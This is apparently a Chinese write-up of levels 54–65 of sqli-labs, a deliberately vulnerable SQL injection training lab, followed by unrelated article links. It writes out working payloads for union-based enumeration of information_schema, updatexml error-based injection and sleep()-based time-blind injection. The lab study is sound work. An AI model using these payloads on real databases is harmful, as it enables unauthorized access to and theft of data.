sqli-libs(54-65关)
Less_54
Less-54:使用’’包裹
对输入的次数做了限制,必须在10次请求之内获取信息,否则会刷新表名
输入:?Id=1’ order by 3--+ 查看有多少列;
输入 ?id=-1' union select 1,2,3 --+ 查看回显位置;
输入 ?id=-1'union select 1,2, group_concat(table_name)from information_schema.tables where table_schema='CHALLENGES' --+ 查看表名;
下面操作和less1基本一致。
Less_55
Less55: 使用()包裹
对输入的次数做了限制,必须在14次请求之内获取信息,否则会刷新表名;
其他操作与第54关基本一致。
Less_56
Less56:使用('’)包裹
对输入的次数做了限制,必须在14次请求之内获取信息,否则会刷新表名;
其他操作与第54关基本一致。
Less_57
Less57:使用””包裹
对输入的次数做了限制,必须在14次请求之内获取信息,否则会刷新表名;
其他操作与第54关基本一致。
Less_58
Less58:使用’’包裹
对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名;
输入 ?id=-1' union select 1,2,3 --+ 并没有显示回显的位置;
所以我们不能使用union select联合查询,我们使用报错注入;
输入 ?id=-1'andupdatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='CHALLENGES')),1) --+ 查表名;
接下来步骤与less1基本一致。
Less_59
Less59:无包裹
对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名;
输入?id=-1 union select 1,2,3 --+ 依旧没有回显位置;
所以同58关相同,使用报错注入。
Less_60
Less60:使用(“”)包裹
对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名;
采用报错注入与第58关基本一致
Less_61
Less61:使用((‘’))包裹
对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名;
采用报错注入与第58关基本一致
Less_62
Less62:使用(‘’)包裹
对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名;
使用时间盲注
输入 ?id=1') and if((length(database())=1),1,sleep(5))--+ 判断数据库的长度;
输入 ?id=1') and if( left( (select table_name from information_schema.tables where table_schema='CHALLENGES' limit 0,1),1)> 's' ,1, sleep(5)) --+ 判断数据库字母是否比s大;
less_63
Less63:使用‘’包裹
对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名;
使用时间盲注,其他操作与第62关基本一致。
less_64
Less64:使用(())包裹
对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名;
使用时间盲注,其他操作与第62关基本一致。
Less_65
Less65:使用(“”)包裹
对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名;
使用时间盲注,其他操作与第62关基本一致。
sqli-libs(54-65关)的更多相关文章
- 靶场练习-Sqli-labs通关记录(1-4关)
0x00 实验环境 本地:Win 10 靶场:sqli-labs(共65关,每日一关) 0x02 通关记录 简介:一天一关! (1)第一关: 简单的 ...
- R语言入门系列1--数学狗还是做数据好了
nanana,作为一个不合格的数学专业学生,脑袋不好使,又穷逼,只好学点儿实用的东西,希望能养活自己~~~ 不瞎哔哔,想做数据方面工作的时候在犹豫是学R还是学python,一点儿python基础都没有 ...
- JavaScript基础知识点
本书目录 第一章: JavaScript语言基础 第二章: JavaScript内置对象第三章: 窗口window对象第四章: 文档document对象第五章: 表单form对象第六章: ...
- MFS分布式文件系统
一.MFS概述: MooseFS(moose 驼鹿)是一款网络分布式文件系统.它把数据分散在多台服务器上,但对于用户来讲,看到的只是一个源.MFS也像其他类unix文件系统一样,包含了层级结构(目录树 ...
- Linux MFS分布式文件系统介绍和安装
MFS分布式文件系统 mooseFS(moose 驼鹿)是一款网络分布式文件系统.它把数据分散在多台服务器上,但对于用户来讲,看到的只是一个源.MFS也像其他类unix文件系统一样,包含了层级结构(目 ...
- 为什么hadoop中用到的序列化不是java的serilaziable接口去序列化而是使用Writable序列化框架
继上一个模块之后,此次分析的内容是来到了Hadoop IO相关的模块了,IO系统的模块可谓是一个比较大的模块,在Hadoop Common中的io,主要包括2个大的子模块构成,1个是以Writable ...
- 一次修改闭源 Entity Provider 程序集以兼容新 EntityFramework 的过程
读完本文你会知道,如何在没有源码的情况下,直接修改一个 DLL 以去除 DLL 上的强命名限制,并在该程序集上直接添加你的“友元程序集(一种特殊的 Attribute,将它应用在程序集上,使得程序集内 ...
- php中用GD绘制折线图
php中用GD绘制折线图,代码如下: Class Chart{ private $image; // 定义图像 private $title; // 定义标题 private $ydata; // 定 ...
- Python基础三. 函数、lambda、filter、map、reduce
一.概述 函数, 就是用一些语句组织起来实现一组特定的功能, 用来重复调用. 函数的作用及意义:最大化的重用代码和最小化的代码冗余以及对流程的分解. Python中有哪些函数: 内建的函数 第三方模块 ...
- 数组 Arrays类
1.数组是一组变量集合,用来存储相同数据类型的一组数据的连续的空间. *数组名(标识符)连续空间首地址. *元素下标标明元素在数组中的位置,从0开始. *每个元素都可以通过下标来访问. *数组长度固定 ...
随机推荐
- Linux运维--14.Kolla部署OpenStack使用external MariaDB Galera Cluster
使用haproxy+keepalived实现Mariadb负载均衡 controller2: 10.100.2.52 haproxy+keepalived controller3: 10.100.2. ...
- Vuex项目实战store
首先简单了解一下什么是Vuex? Vuex是一个专为Vue.js应用程序开发的状态管理模式.采用集中式存储来管理应用所有组件的状态. 以下是对vuex的使用的简单介绍: 一.安装 npm i vuex ...
- PP: Modeling extreme events in time series prediction
KDD: Knowledge Discovery and Data Mining (KDD) Insititute: 复旦大学,中科大 Problem: time series prediction; ...
- nice-validator判断表单是否验证通过
$("#formSurvery").isValid(function(is){ if(is){ alert("通过!") } } 如果is为false则表示不通 ...
- navicat连接mysql8.0+版本报错2059
ERROR 2059 : Authentication plugin 'caching_sha2_password' cannot be loaded 问题: 连接Docker启动的mysql出现:E ...
- bat文件一键运行python自动化脚本
目标:建立一个双击即可运行自动化脚本的机制,而不用每次运行编译器,方便测试人员用户体验. 方法: 1. 将所有代码打包成exe文件,但一旦修改,又要重新打包. 2. 将运行代码写成bat文件,双击即执 ...
- 修改json数据中key(键值)
//方法一:修改JSONObject的键 public static JSONObject changeJsonObj(JSONObject jsonObj,Map<String, String ...
- ECMAScript基本语法——④变量
简介 变量:一小块存储数据的内存空间先申请了一块内存空间,规定空间的存储类型,给空间赋值3, 想找到这个3可以通过内存空间的地址值,但是通过地址值太麻烦了,给这个空间起了一个名字a 通过这个a可以找到 ...
- 2020算法设计竞赛 I、匹配星星
链接:https://ac.nowcoder.com/acm/contest/3005/I来源:牛客网 天上有n颗星星,每颗星星有二维坐标(xi,yi)(x_i, y_i)(xi,yi),还有一个 ...
- java异常处理课后作
1.动手动脑 源码 import javax.swing.*; class AboutException { public static void main(String[] a) { ...